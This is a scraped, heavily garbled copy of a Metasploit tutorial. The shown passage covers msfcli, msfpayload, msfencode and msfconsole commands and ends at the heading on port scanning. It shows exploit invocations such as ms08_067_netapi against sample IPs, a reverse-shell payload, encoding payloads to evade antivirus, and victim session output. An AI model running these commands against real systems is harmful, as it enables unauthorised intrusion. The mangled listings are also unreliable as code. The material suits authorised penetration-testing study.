69

Click here to load reader

it Man Pages

Embed Size (px)

Citation preview

Page 1: it Man Pages

Dejan [email protected]

Contents

1 The Metasploit Architecture1.1 Msfcli1.2 Msfweb1.3 Msfpayload1.4 Msfencode1.5 Msfconsole

1.5.1 The back command1.5.2 The check command1.5.3 The connect command1.5.4 The exploit command1.5.5 The irb command1.5.6 The jobs command1.5.7 The load command1.5.8 The unload command1.5.9 The loadpath command1.5.10 The resource command1.5.11 The route command1.5.12 The info command1.5.13 The use command1.5.14 The set command1.5.15 The unset command1.5.16 The sessions command1.5.17 The search command1.5.18 The show command1.5.19 The setg and unsetg command

1.6 Exploits1.6.1 Active Exploits1.6.2 Passive Exploits1.6.3 Using Exploits

1.7 Payloads1.7.1 Generating Payloads

2 Information Gathering2.1 The Dradis Framework2.2 Configuring Databases2.3 Port Scanning

2.3.1 Importing Nmap Results into Metasploit

Page 2: it Man Pages

2.3.2 Nmap: The TCP Idle Scan2.3.3 Metasploit Port Scanning

2.4 Targeted Scanning2.4.1 Hunting for SMB2.4.2 Hunting for MSSQL2.4.3 Hunting for SSH2.4.4 Hunting for FTP2.4.5 SNMP Sweeping2.4.6 Password Sniffing

2.5 Writing Your Own TCP Scanner3 Vulnerability Scanning

3.1 Useful Commands3.2 Nexpose

3.2.1 Scanning the Target Network3.2.2 Nexpose in MSFConsole

3.3 Nessus3.3.1 Installation and Configuration3.3.2 Using Nessus3.3.3 Importing Results Into the Metasploit3.3.4 Scanning With Nessus From Metasploit

3.4 OpenVas3.4.1 Gentoo Linux3.4.2 Backtrack Linux3.4.3 Administration3.4.4 Configuration

3.5 Specialty Vulnerability Scanners3.5.1 SMB Scanning3.5.2 VNC Authentication3.5.3 Open X113.5.4 WMAP Web Scanner3.5.5 Autopwning

4 Meterpreter4.1 Introduction4.2 Meterpreter Commands4.3 Doing interesting things with meterpreter

4.3.1 Capturing Keystrokes4.3.2 Dumping Usernames and Passwords4.3.3 Privilege Escalation4.3.4 Token Impersonation4.3.5 Pivoting onto Other Systems4.3.6 Using Meterpreter Scripts

4.4 Meterpreter Scripting5 Beyond Metasploit

5.1 Armitage5.2 Social Engineering Toolkit - SET

5.2.1 Spear-Phishing Attack Vector5.2.2 Teensy USB HID Attack Vector

Page 3: it Man Pages

1 The Metasploit Architecture

The picture of an architecture is given here:

We can see that there are many different interfaces to the metasploit framework

1.1 Msfcli

Is a command line interface to the framework. It runs directly from the command line, which allows you toperform input/output redirects into/from the msfcli. Msfcli can be convenient when testing modules ordeveloping new exploits for the framework. It’s a very good tool when you know exactly which exploit andoptions you need.

Page 4: it Man Pages

So the syntax of the msfcli is:

An example of running msfcli with the exploit and options is:

If you aren’t sure which (O)ptions belong to a particular module, you can append the ’O’ to the command:

We can see that the module requires three options: RHOST, RPORT, SMBPIPE. If we want to look at all theavailable options, we can check the (A)dvanced option.

To see what targets are supported with the chosen exploit, append the ’T’ to the command:

To display the payloads that are available to the current module, append the ’P’ to command:

When we have the final command, we can execute the exploit with the ’E’ argument:

123456789

1011121314151617

#,msfcli3.7,4hUsage:,/usr/bin/msfcli3.7,<exploit_name>,<option=value>,[mode]==============================================================,,,,,Mode,,,,,,,,,,,Description,,,,4444,,,,,,,,,,,44444444444,,,,(H)elp,,,,,,,,,You're,looking,at,it,baby!,,,,(S)ummary,,,,,,Show,information,about,this,module,,,,(O)ptions,,,,,,Show,available,options,for,this,module,,,,(A)dvanced,,,,,Show,available,advanced,options,for,this,module,,,,(I)DS,Evasion,,Show,available,ids,evasion,options,for,this,module,,,,(P)ayloads,,,,,Show,available,payloads,for,this,module,,,,(T)argets,,,,,,Show,available,targets,for,this,exploit,module,,,,(AC)tions,,,,,,Show,available,actions,for,this,auxiliary,module,,,,(C)heck,,,,,,,,Run,the,check,routine,of,the,selected,module,,,,(E)xecute,,,,,,Execute,the,selected,module,,,

12

msfcli3.7,<exploit_name>,<option=value>,[mode],,,

12

#,msfcli,windows/smb/ms08_067_netapi,RHOST=192.168.1.201,PAYLOAD=windows/shell/bind_tcp,E,,,

12345678

#,msfcli,windows/smb/ms08_067_netapi,O,,,,Name,,,,,Current,Setting,,Required,,Description,,,4444,,,,,444444444444444,,44444444,,44444444444,,,RHOST,,,,,,,,,,,,,,,,,,,,,yes,,,,,,,The,target,address,,,RPORT,,,,445,,,,,,,,,,,,,,yes,,,,,,,Set,the,SMB,service,port,,,SMBPIPE,,BROWSER,,,,,,,,,,yes,,,,,,,The,pipe,name,to,use,(BROWSER,,SRVSVC),,,

123456789

1011

#,msfcli,windows/smb/ms08_067_netapi,T,,,,Id,,Name,,,44,,4444,,,0,,,Automatic,Targeting,,,1,,,Windows,2000,Universal,,,2,,,Windows,XP,SP0/SP1,Universal,,,3,,,Windows,XP,SP2,English,(NX),,,4,,,Windows,XP,SP3,English,(NX),,,...,,,

12

#,msfcli,windows/smb/ms08_067_netapi,RHOST=192.168.1.1,P,,,

12

#,msfcli,windows/smb/ms08_067_netapi,RHOST=192.168.1.1,PAYLOAD=windows/shell/bind_tcp,E,,,

Page 5: it Man Pages

Msfcli is useful for specific tasks and convenient for testing and developing new exploits. It’s excellent if youknow exactly which exploit and options you need.

1.2 Msfweb

Is an AJAX web interface to the framework but has now been deprecated and removed from the metasploittrunk.

1.3 Msfpayload

The msfpayload component of metasploits allows us to generate shellcode, executables, etc. Shellcode can begenerated in many formats including C, ruby, javascript, and visual basic. It depends on the problem you’reworking with, which payload format is the best.

If we want to list the required and optional variables for some specific payload, we can append the letter ’O’ tothe arguments:

123456789

msfpayload34h33333Usage:3/usr/bin/msfpayload4.03[<options>]3<payload>3[var=val]3<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>3OPTIONS:333334h33333333Help3banner33334l33333333List3available3payloads333

123456789

10111213141516171819202122232425

#3msfpayload3windows/shell_reverse_tcp3O33333333Name:3Windows3Command3Shell,3Reverse3TCP3Inline33333Module:3payload/windows/shell_reverse_tcp3333Version:38642333Platform:3Windows3333333Arch:3x86Needs3Admin:3No3Total3size:33143333333Rank:3Normal3Provided3by:33vlad9023<[email protected]>33sf3<[email protected]>3Basic3options:Name333333Current3Setting33Required33Description444433333344444444444444433444444443344444444444EXITFUNC33process3333333333yes3333333Exit3technique:3seh,3thread,3none,3processLHOST3333333333333333333333yes3333333The3listen3addressLPORT3333344443333333333333yes3333333The3listen3port3Description:33Connect3back3to3attacker3and3spawn3a3command3shell333

Page 6: it Man Pages

1.4 Msfencode

The shellcode generated by msfpayload is fully functional, but it contains several null characters that signifythe end of string, which will cause the code to terminate before completion. In addition, shellcode traversingin cleartext is likely to be picked up by IDS and antivirus software. To address this problem, metasploit offersmsfencode, which help us to avoid bad characters and evade antivirus and IDSs by encoding the originalpayload in a way that does not include bad characters.

Metasploit contains a number of different encoders for specific situations. Some will be useful when you canuse only alphanumeric characters as part of a payload, while others are general encoders that do well in everysituation.

We can list all of the encoders with the -l option. The only encoder that has a rank of excellent is thex86/shikata_ga_nai encoder, which you should use when in doubt.

123456789

101112131415161718192021222324

#,msfencode4.0,6h,,,,,Usage:,/usr/bin/msfencode4.0,<options>,OPTIONS:,,,,,6a,<opt>,,The,architecture,to,encode,as,,,,6b,<opt>,,The,list,of,characters,to,avoid:,'\x00\xff',,,,6c,<opt>,,The,number,of,times,to,encode,the,data,,,,6d,<opt>,,Specify,the,directory,in,which,to,look,for,EXE,templates,,,,6e,<opt>,,The,encoder,to,use,,,,6h,,,,,,,,Help,banner,,,,6i,<opt>,,Encode,the,contents,of,the,supplied,file,path,,,,6k,,,,,,,,Keep,template,working;,run,payload,in,new,thread,(use,with,6x),,,,6l,,,,,,,,List,available,encoders,,,,6m,<opt>,,Specifies,an,additional,module,search,path,,,,6n,,,,,,,,Dump,encoder,information,,,,6o,<opt>,,The,output,file,,,,6p,<opt>,,The,platform,to,encode,for,,,,6s,<opt>,,The,maximum,size,of,the,encoded,data,,,,6t,<opt>,,The,output,format:,raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe6small,elf,macho,vba,vbs,loop6vbs,asp,war,,,,6v,,,,,,,,Increase,verbosity,,,,6x,<opt>,,Specify,an,alternate,executable,template,,,

Page 7: it Man Pages

The nasm_shell.rb can be useful when trying to make sense of assembly code, especially during exploitdevelopment when we need to identify the opcodes (assembly instructions) for a given assembly command.

1.5 Msfconsole

Is a command line interface to the framework. It allows you access to all of the options in the framework. Italso supports command completion and execution of external commands.

All of the options to the msfconsole can be seen by passing the ’-h’ option to msfconsole command:

123456789

1011121314151617181920212223242526272829303132333435

#,msfencode,5l,Framework,Encoders==================,,,,,Name,,,,,,,,,,,,,,,,,,,,Rank,,,,,,,Description,,,,5555,,,,,,,,,,,,,,,,,,,,5555,,,,,,,55555555555,,,,cmd/generic_sh,,,,,,,,,,good,,,,,,,Generic,Shell,Variable,Substitution,Command,Encoder,,,,cmd/ifs,,,,,,,,,,,,,,,,,low,,,,,,,,Generic,${IFS},Substitution,Command,Encoder,,,,cmd/printf_php_mq,,,,,,,manual,,,,,printf(1),via,PHP,magic_quotes,Utility,Command,Encoder,,,,generic/none,,,,,,,,,,,,normal,,,,,The,"none",Encoder,,,,mipsbe/longxor,,,,,,,,,,normal,,,,,XOR,Encoder,,,,mipsle/longxor,,,,,,,,,,normal,,,,,XOR,Encoder,,,,php/base64,,,,,,,,,,,,,,great,,,,,,PHP,Base64,encoder,,,,ppc/longxor,,,,,,,,,,,,,normal,,,,,PPC,LongXOR,Encoder,,,,ppc/longxor_tag,,,,,,,,,normal,,,,,PPC,LongXOR,Encoder,,,,sparc/longxor_tag,,,,,,,normal,,,,,SPARC,DWORD,XOR,Encoder,,,,x64/xor,,,,,,,,,,,,,,,,,normal,,,,,XOR,Encoder,,,,x86/alpha_mixed,,,,,,,,,low,,,,,,,,Alpha2,Alphanumeric,Mixedcase,Encoder,,,,x86/alpha_upper,,,,,,,,,low,,,,,,,,Alpha2,Alphanumeric,Uppercase,Encoder,,,,x86/avoid_utf8_tolower,,manual,,,,,Avoid,UTF8/tolower,,,,x86/call4_dword_xor,,,,,normal,,,,,Call+4,Dword,XOR,Encoder,,,,x86/context_cpuid,,,,,,,manual,,,,,CPUID5based,Context,Keyed,Payload,Encoder,,,,x86/context_stat,,,,,,,,manual,,,,,stat(2)5based,Context,Keyed,Payload,Encoder,,,,x86/context_time,,,,,,,,manual,,,,,time(2)5based,Context,Keyed,Payload,Encoder,,,,x86/countdown,,,,,,,,,,,normal,,,,,Single5byte,XOR,Countdown,Encoder,,,,x86/fnstenv_mov,,,,,,,,,normal,,,,,Variable5length,Fnstenv/mov,Dword,XOR,Encoder,,,,x86/jmp_call_additive,,,normal,,,,,Jump/Call,XOR,Additive,Feedback,Encoder,,,,x86/nonalpha,,,,,,,,,,,,low,,,,,,,,Non5Alpha,Encoder,,,,x86/nonupper,,,,,,,,,,,,low,,,,,,,,Non5Upper,Encoder,,,,x86/shikata_ga_nai,,,,,,excellent,,Polymorphic,XOR,Additive,Feedback,Encoder,,,,x86/single_static_bit,,,manual,,,,,Single,Static,Bit,,,,x86/unicode_mixed,,,,,,,manual,,,,,Alpha2,Alphanumeric,Unicode,Mixedcase,Encoder,,,,x86/unicode_upper,,,,,,,manual,,,,,Alpha2,Alphanumeric,Unicode,Uppercase,Encoder,,,

123456

#,cd,/opt/framework54.0.0/msf3/tools#,./nasm_shell.rbnasm,>,jmp,esp00000000,,FFE4,,,,,,,,,,,,,,jmp,espnasm,>,,,

Page 8: it Man Pages

To launch the msfconsole, just execute the msfconsole command like this:

You can display available commands if you enter help at the msf command prompt:

123456789

10111213141516171819202122

#,msfconsole,5hUsage:,msfconsole,[options],Specific,options:,,,,5d,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Execute,the,console,as,defanged,,,,5r,<filename>,,,,,,,,,,,,,,,,,,,,Execute,the,specified,resource,file,,,,5o,<filename>,,,,,,,,,,,,,,,,,,,,Output,to,the,specified,file,,,,5c,<filename>,,,,,,,,,,,,,,,,,,,,Load,the,specified,configuration,file,,,,5m,<directory>,,,,,,,,,,,,,,,,,,,Specifies,an,additional,module,search,path,,,,5p,<plugin>,,,,,,,,,,,,,,,,,,,,,,Load,a,plugin,on,startup,,,,5y,,55yaml,<database.yml>,,,,,,,,Specify,a,YAML,file,containing,database,settings,,,,5e,<production|development>,,,,,,Specify,the,database,environment,to,load,from,the,YAML,,,,,,,,55environment,,,,5v,,55version,,,,,,,,,,,,,,,,,,,,Show,version,,,,5L,,55real5readline,,,,,,,,,,,,,,Use,the,system,Readline,library,instead,of,RbReadline,,,,5n,,55no5database,,,,,,,,,,,,,,,,Disable,database,support,,,,5q,,55quiet,,,,,,,,,,,,,,,,,,,,,,Do,not,print,the,banner,on,start,up,Common,options:,,,,5h,,55help,,,,,,,,,,,,,,,,,,,,,,,Show,this,message,,,,

123456789

10111213141516

#,msfconsole3.7,,,,,,,,,,,,,,,,,__.,,,,,,,,,,,,,,,,,,,,,,,.__.,,,,,,,,.__.,__.,,_____,,,_____/,,|______,,,,____________,|,,|,,,____,|__|/,,|_,/,,,,,\_/,__,\,,,__\__,,\,,/,,___/\____,\|,,|,,/,,_,\|,,\,,,__\|,,Y,Y,,\,,___/|,,|,,/,__,\_\___,\,|,,|_>,>,,|_(,,<_>,),,||,,||__|_|,,/\___,,>__|,(____,,/____,,>|,,,__/|____/\____/|__||__|,,,,,,\/,,,,,\/,,,,,,,,,,\/,,,,,\/,|__|,,,,,,,,,=[,metasploit,v3.7.05release,[core:3.7,api:1.0]+,55,55=[,684,exploits,5,355,auxiliary+,55,55=[,217,payloads,5,27,encoders,5,8,nops,msf,>,,,

Page 9: it Man Pages

Msfconsole also supports the tab completion which is really useful so you don’t have to remember the exactname and path of the module you wish to use.

1.5.1 The back command

The back command can be used to move out of the current context:

1.5.2 The check command

The check command can be used to see if a target is vulnerable to a particular exploit instead of actuallyexploiting it. Not many modules support it.

123456789

1011121314151617181920212223242526272829303132333435363738394041

msf.>.help.Core.Commands=============.....Command.......Description....???????.......???????????....?.............Help.menu....back..........Move.back.from.the.current.context....banner........Display.an.awesome.metasploit.banner....cd............Change.the.current.working.directory....color.........Toggle.color....connect.......Communicate.with.a.host....exit..........Exit.the.console....help..........Help.menu....info..........Displays.information.about.one.or.more.module....irb...........Drop.into.irb.scripting.mode....jobs..........Displays.and.manages.jobs....kill..........Kill.a.job....load..........Load.a.framework.plugin....loadpath......Searches.for.and.loads.modules.from.a.path....makerc........Save.commands.entered.since.start.to.a.file....quit..........Exit.the.console....reload_all....Reloads.all.modules.from.all.defined.module.paths....resource......Run.the.commands.stored.in.a.file....route.........Route.traffic.through.a.session....save..........Saves.the.active.datastores....search........Searches.module.names.and.descriptions....sessions......Dump.session.listings.and.display.information.about.sessions....set...........Sets.a.variable.to.a.value....setg..........Sets.a.global.variable.to.a.value....show..........Displays.modules.of.a.given.type,.or.all.modules....sleep.........Do.nothing.for.the.specified.number.of.seconds....threads.......View.and.manipulate.background.threads....unload........Unload.a.framework.plugin....unset.........Unsets.one.or.more.variables....unsetg........Unsets.one.or.more.global.variables....use...........Selects.a.module.by.name....version.......Show.the.framework.and.console.library.version.numbers....

123

msf.exploit(proftp_sreplace).>.backmsf.>...

Page 10: it Man Pages

1.5.3 The connect command

The connect command can connect to a remote host with ip address and port number within msfconsole thesame as you would connect with netcat of telnet.

With the -s argument, it can connect via SSL:

1.5.4 The exploit command

When launching an exploit, you should issue the exploit command. With auxiliary module you can also use therun command.

1.5.5 The irb command

Running the irb command will drop you into a live ruby interpreter shell where you can issue commands andcreate metasploit scripts on the fly.

1.5.6 The jobs command

Jobs are modules that are running in the background. The jobs command provides the ability to list andterminate these jobs.

123456789

msf->-connect-4s-www.metasploit.com-443[*]-Connected-to-www.metasploit.com:443GET-/-HTTP/1.0-HTTP/1.1-302-FoundDate:-Sat,-25-Jul-2009-05:03:42-GMTServer:-Apache/2.2.11Location:-http://www.metasploit.org/---

12345

msf->-irb[*]-Starting-IRB-shell...->>---

Page 11: it Man Pages

1.5.7 The load command

The load command loads a plugin from metasploit’s plugin directory. Arguments are passed as key=value onthe shell.

1.5.8 The unload command

The unload command unloads a previously loaded plugin and removes any extended commands.

1.5.9 The loadpath command

The loadpath command will load a third-party module tree for the path so you can point metasploit at your 0-day exploits, encoders, payloads, etc.

123456789

1011121314151617181920212223

msf.>.jobs.3hUsage:.jobs.[options].Active.job.manipulation.and.interaction..OPTIONS:.....3K........Terminate.all.running.jobs.....3h........Help.banner.....3i.<opt>..Lists.detailed.information.about.a.running.job.....3k.<opt>..Terminate.the.specified.job.name.....3l........List.all.running.jobs.....3v........Print.more.detailed.info...Use.with.3i.and.3l.msf.>.jobs.Jobs====.No.active.jobs..msf.>...

123456

>.load.pcap_log[3].MissingSourceFile:.no.such.file.to.load.33.pcaprub[*].PcapLog.plugin.loaded.[*].Successfully.loaded.plugin:.pcap_logmsf.>...

1234

msf.>.unload.pcap_logUnloading.plugin.pcap_log...unloaded.msf.>...

Page 12: it Man Pages

1.5.10 The resource command

The resource command will load and execute the resource batch file - basic scripting for msfconsole.

Batch files can greatly speed up testing and development times as well as allow the user to automate manytasks.

Let’s create a simple batch file that will display the version of metasploit.

And then run it:

1.5.11 The route command

The route commands allows you to route sockets through a session or comm providing basic pivotingcapabilities. To add a route, just pass the target subnet and network mask followed by the session (comm)number:

1.5.12 The info command

The info command will provide a detailed information about a particular module including all options, targets,and other information.

1234

msf(>(loadpath(/home/secret/modules(Loaded(0(modules.(((

12

#(echo(version(>(version.rc(((

12345

msf(>(resource(version.rcresource((version.rc)>(versionFramework:(3.7.0Erelease.12521Console((:(3.7.0Erelease.12467(((

1234567

msf(>(routeUsage:(route([add/remove/get/flush/print](subnet(netmask([comm/sid](Route(traffic(destined(to(a(given(subnet(through(a(supplied(session.The(default(comm(is(Local.msf(>(route(add(192.168.1.0(255.255.255.0(2(((

Page 13: it Man Pages

1.5.13 The use command

When you want to use a particular module, you issue the use command to select it. The use commandchanges the context to a specific module, exposing type-specific commands.

1.5.14 The set command

The set command allows you to configure framework options and parameters for the current module you’reworking with.

You can also set an encoder to use at runtime, which is very useful in exploit development when you aren’tquite sure which payload encoding methods will work with an exploit.

123456789

1011121314151617

msf.>.info.dos/windows/smb/ms09_001_write........Name:.Microsoft.SRV.SYS.WriteAndX.Invalid.DataOffset.....Module:.auxiliary/dos/windows/smb/ms09_001_write....Version:.10394....License:.Metasploit.Framework.License.(BSD).......Rank:.Normal.Provided.by:..j.v.vallejo.<[email protected]>.Basic.options:..Name...Current.Setting..Required..Description..^^^^...^^^^^^^^^^^^^^^..^^^^^^^^..^^^^^^^^^^^..RHOST...................yes.......The.target.address..RPORT..445..............yes.......Set.the.SMB.service.port...

123456789

101112

msf.>.use.dos/windows/smb/ms09_001_writemsf.auxiliary(ms09_001_write).>.show.options.Module.options.(auxiliary/dos/windows/smb/ms09_001_write):....Name...Current.Setting..Required..Description...^^^^...^^^^^^^^^^^^^^^..^^^^^^^^..^^^^^^^^^^^...RHOST...................yes.......The.target.address...RPORT..445..............yes.......Set.the.SMB.service.port.msf.auxiliary(ms09_001_write).>...

123456789

1011

msf.auxiliary(ms09_001_write).>.set.RHOST.192.168.1.1RHOST.=>.192.168.1.1msf.auxiliary(ms09_001_write).>.show.options.Module.options.(auxiliary/dos/windows/smb/ms09_001_write):....Name...Current.Setting..Required..Description...^^^^...^^^^^^^^^^^^^^^..^^^^^^^^..^^^^^^^^^^^...RHOST..192.168.1.1......yes.......The.target.address...RPORT..445..............yes.......Set.the.SMB.service.port...

Page 14: it Man Pages

1.5.15 The unset command

The unset command removes a parameter previously configured with set. You can remove all assignedvariables with "unset all".

123456789

101112131415161718192021222324252627282930313233343536373839

msf.auxiliary(ms09_001_write).>.show.encoders.Encoders========....Name....................Disclosure.Date..Rank.......Description...IIII....................IIIIIIIIIIIIIII..IIII.......IIIIIIIIIII...cmd/generic_sh...........................good.......Generic.Shell.Variable.Substitution.Command.Encoder...cmd/ifs..................................low........Generic.${IFS}.Substitution.Command.Encoder...cmd/printf_php_mq........................good.......printf(1).via.PHP.magic_quotes.Utility.Command.Encoder...generic/none.............................normal.....The."none".Encoder...mipsbe/longxor...........................normal.....XOR.Encoder...mipsle/longxor...........................normal.....XOR.Encoder...php/base64...............................great......PHP.Base64.encoder...ppc/longxor..............................normal.....PPC.LongXOR.Encoder...ppc/longxor_tag..........................normal.....PPC.LongXOR.Encoder...sparc/longxor_tag........................normal.....SPARC.DWORD.XOR.Encoder...x64/xor..................................normal.....XOR.Encoder...x86/alpha_mixed..........................low........Alpha2.Alphanumeric.Mixedcase.Encoder...x86/alpha_upper..........................low........Alpha2.Alphanumeric.Uppercase.Encoder...x86/avoid_utf8_tolower...................manual.....Avoid.UTF8/tolower...x86/call4_dword_xor......................normal.....Call+4.Dword.XOR.Encoder...x86/context_cpuid........................manual.....CPUIDIbased.Context.Keyed.Payload.Encoder...x86/context_stat.........................manual.....stat(2)Ibased.Context.Keyed.Payload.Encoder...x86/context_time.........................manual.....time(2)Ibased.Context.Keyed.Payload.Encoder...x86/countdown............................normal.....SingleIbyte.XOR.Countdown.Encoder...x86/fnstenv_mov..........................normal.....VariableIlength.Fnstenv/mov.Dword.XOR.Encoder...x86/jmp_call_additive....................normal.....Jump/Call.XOR.Additive.Feedback.Encoder...x86/nonalpha.............................low........NonIAlpha.Encoder...x86/nonupper.............................low........NonIUpper.Encoder...x86/shikata_ga_nai.......................excellent..Polymorphic.XOR.Additive.Feedback.Encoder...x86/single_static_bit....................manual.....Single.Static.Bit...x86/unicode_mixed........................manual.....Alpha2.Alphanumeric.Unicode.Mixedcase.Encoder...x86/unicode_upper........................manual.....Alpha2.Alphanumeric.Unicode.Uppercase.Encoder.msf.auxiliary(ms09_001_write).>.set.encoder.x86/shikata_ga_naiencoder.=>.x86/shikata_ga_naimsf.auxiliary(ms09_001_write).>...

Page 15: it Man Pages

1.5.16 The sessions command

The sessions command allows you to operate with spawned sessions, which can be: shells, meterpreter, VNC,etc.

To list any active sessions, use the -l option:

To interact with a given session, you just need to use the -i option followed by the ID number of the session:

123456789

1011121314151617181920

msf.auxiliary(ms09_001_write).>.show.options.Module.options.(auxiliary/dos/windows/smb/ms09_001_write):....Name...Current.Setting..Required..Description...NNNN...NNNNNNNNNNNNNNN..NNNNNNNN..NNNNNNNNNNN...RHOST..192.168.1.1......yes.......The.target.address...RPORT..445..............yes.......Set.the.SMB.service.port.msf.auxiliary(ms09_001_write).>.unset.RHOSTUnsetting.RHOST...msf.auxiliary(ms09_001_write).>.show.options.Module.options.(auxiliary/dos/windows/smb/ms09_001_write):....Name...Current.Setting..Required..Description...NNNN...NNNNNNNNNNNNNNN..NNNNNNNN..NNNNNNNNNNN...RHOST...................yes.......The.target.address...RPORT..445..............yes.......Set.the.SMB.service.port...

123456789

1011121314151617181920

msf.auxiliary(ms09_001_write).>.sessions.NhUsage:.sessions.[options].Active.session.manipulation.and.interaction..OPTIONS:.....NK........Terminate.all.sessions....Nc.<opt>..Run.a.command.on.the.session.given.with.Ni,.or.all....Nd.<opt>..Detach.an.interactive.session....Nh........Help.banner....Ni.<opt>..Interact.with.the.supplied.session.ID....Nk.<opt>..Terminate.session....Nl........List.all.active.sessions....Nq........Quiet.mode....Nr........Reset.the.ring.buffer.for.the.session.given.with.Ni,.or.all....Ns.<opt>..Run.a.script.on.the.session.given.with.Ni,.or.all....Nu.<opt>..Upgrade.a.win32.shell.to.a.meterpreter.session....Nv...

123456789

msf.>.sessions.Nl.Active.sessions===============...Id..Description....Tunnel..NN..NNNNNNNNNNN....NNNNNN..1...Command.shell..192.168.1.101:33191.N>.192.168.1.104:4444...

Page 16: it Man Pages

1.5.17 The search command

The search command provides a regular expression search functionality. The search function will locate thisstring within the module names, descriptions, references, etc.

1.5.18 The show command

The show command will display every available module in metasploit.

Valid parameters for the "show" command are:

allencodersnopsexploits: display all exploitspayloads: display all payloads for all platforms

12345

msf)>)sessions)/i)1[*])Starting)interaction)with)1...)C:\WINDOWS\system32>)))

123456789

1011

msf)>)search)ms09/001[*])Searching)loaded)modules)for)pattern)'ms09/001'...)Auxiliary=========))))Name))))))))))))))))))))))))))))Disclosure)Date))Rank))))Description)))////))))))))))))))))))))))))))))///////////////))////))))///////////)))dos/windows/smb/ms09_001_write)))))))))))))))))))normal))Microsoft)SRV.SYS)WriteAndX)Invalid)DataOffset))))

123456789

1011121314151617181920

msf)>)show)Encoders========))))Name))))))))))))))))))))Disclosure)Date))Rank)))))))Description)))////))))))))))))))))))))///////////////))////)))))))///////////)))cmd/generic_sh)))))))))))))))))))))))))))good)))))))Generic)Shell)Variable)Substitution)Command)Encoder)))cmd/ifs))))))))))))))))))))))))))))))))))low))))))))Generic)${IFS})Substitution)Command)Encoder)))cmd/printf_php_mq))))))))))))))))))))))))good)))))))printf(1))via)PHP)magic_quotes)Utility)Command)Encoder)))generic/none)))))))))))))))))))))))))))))normal)))))The)"none")Encoder)))mipsbe/longxor)))))))))))))))))))))))))))normal)))))XOR)Encoder)))mipsle/longxor)))))))))))))))))))))))))))normal)))))XOR)Encoder)))php/base64)))))))))))))))))))))))))))))))great))))))PHP)Base64)encoder)))ppc/longxor))))))))))))))))))))))))))))))normal)))))PPC)LongXOR)Encoder)))ppc/longxor_tag))))))))))))))))))))))))))normal)))))PPC)LongXOR)Encoder)))sparc/longxor_tag))))))))))))))))))))))))normal)))))SPARC)DWORD)XOR)Encoder)))x64/xor))))))))))))))))))))))))))))))))))normal)))))XOR)Encoder...)))

Page 17: it Man Pages

auxiliary: display available auxiliary modulestargets: display potential targetspluginsoptions

Additional module-specific parameters are: advanced, evasion, targets, actions

When you are in the context of a particular module, the "show payloads" will only display the payloads that arecompatible with that particular exploit. For example, if it is a windows exploit, it will not shown the linuxpayloads.

If you have selected a specific module, you can issue the "show options" command to display which settingsare available and required for that module.

If you don’t know if an operating system is vulnerable to a particular exploit, run the "show targets" commandfrom within the context of an exploit module to see which targets are supported.

To see the more advanced options run "show advanced".

1.5.19 The setg and unsetg command

To set a global variable within msfconsole, you can execute setg command. Once these are set, you can usethem in as many exploits and auxiliary modules as you like.

After setting your different variables, you can run the save command to save your current environment andsettings. With your settings saved, they will be automatically loaded on startup which saves you from havingto set everything again.

We unsetg command is used to unset a global parameter.

1.6 Exploits

The exploits can be divided into two groups:

activepassive

1.6.1 Active Exploits

1234567

msf+>+setg+LHOST+192.168.1.101LHOST+=>+192.168.1.101msf+>+setg+RHOSTS+192.168.1.0/24RHOSTS+=>+192.168.1.0/24msf+>+setg+RHOST+192.168.1.136RHOST+=>+192.168.1.136+++

Page 18: it Man Pages

Active exploits will exploit a specific host, run until completion and then exit.

bruteforce modules will exit when a shell opens from the victimmodule execution stops if an error is encounteredyou can force an active module to the background by passing the -j to the exploit command

1.6.2 Passive Exploits

Passive exploits wait for incoming hosts and exploit them as they connect.

passive exploits almost always focus on clients such as web browsers, FTP clients, etcthey can also be used in conjunction with email exploits waiting for connectionspassive exploits report shells, which can be enumerated (option -l) and interacted with (option -i)

Example:

1.6.3 Using Exploits

Selecting an exploit in metasploit adds the exploit and check commands to msfconsole:

There are also multiple show commands available:

123456789

1011121314

msf.exploit(ani_loadimage_chunksize).>.sessions.Cl.Active.sessions===============...Id..Description..Tunnel..CC..CCCCCCCCCCC..CCCCCC..1...Meterpreter..192.168.1.101:52647.C>.192.168.1.104:4444.msf.exploit(ani_loadimage_chunksize).>.sessions.Ci.1[*].Starting.interaction.with.1....meterpreter.>...

123456789

1011121314

msf.>.use.exploit/windows/smb/ms08_067_netapimsf.exploit(ms08_067_netapi).>.helpExploit.Commands================.....Command.......Description....CCCCCCC.......CCCCCCCCCCC....check.........Check.to.see.if.a.target.is.vulnerable....exploit.......Launch.an.exploit.attempt....rcheck........Reloads.the.module.and.checks.if.the.target.is.vulnerable....rexploit......Reloads.the.module.and.launches.an.exploit.attempt.msf.exploit(ms08_067_netapi).>...

Page 19: it Man Pages

1.7 Payloads

There are three different types of payload module types in metasploit:

Singles: payloads that are standalone - for example: adding a user to the target systemStagers: payloads that setup a network connection between the attacker and victimStages: payload components that are downloaded by stagers modules - the various payload stagesprovide advanced features with no size limits

Whether or not a payload is staged, is represented by ’/’ in the payload name.

1.7.1 Generating Payloads

When you’re programming an exploit, you’ll most certainly need to generate shellcode. In metasploit,payloads can be generated from the msfconsole:

2 Information Gathering

Information gathering is the basis for successful penetration test. With information gathering you gatherinformation about which machines that are vulnerable and which are not.

2.1 The Dradis Framework

Dradis is an open-source framework to enable effective information sharing, especially during securityassessments. It is a self-contained web application that provides a centralised repository of information tokeep track of what has been done so far, and what is still ahead.

Dradis is far more than just a mere note-taking application. Communicating over SSL, it can import Nmapand Nessus result files, attach files, generate reports, and can be extended to connect with external systems.

123456

>(show(targets>(show(payloads>(show(options>(show(advanced>(show(evasion

123

msf(>(use(payload/windows/shell/bind_tcpmsf(payload(bind_tcp)(>(generate(((

Page 20: it Man Pages

Once we install and start the server, we can open the dradis web interface on the addresshttps://127.0.0.1:3004.

On the left side we can create a tree structure and use it to organize the information: Hosts, Subnets,Services, etc. On the right side we can add relevant information to each element.

2.2 Configuring Databases

When penetrating a target network, we have to keep track of what we’ve done so far. In metasploit we cansave everything in a database - we can use mysql or postgresql.

The following command can show you which driver is available under current metasploit:

To use metasploit we must first start the mysql daemon, then we have to tell metasploit to use it:

Once the driver has been loaded we must connect with the database (if the database doesn’t exist already, itwill be created automatically):

To make sure that we’re connected correctly, we can use:

12

msf&>&db_driver&&&

12

msf&>&db_driver&mysql&&&

12

msf&>&db_connect&user:pass@host/msf3&&&

12

msf&>&db_status&&&

Page 21: it Man Pages

2.3 Port Scanning

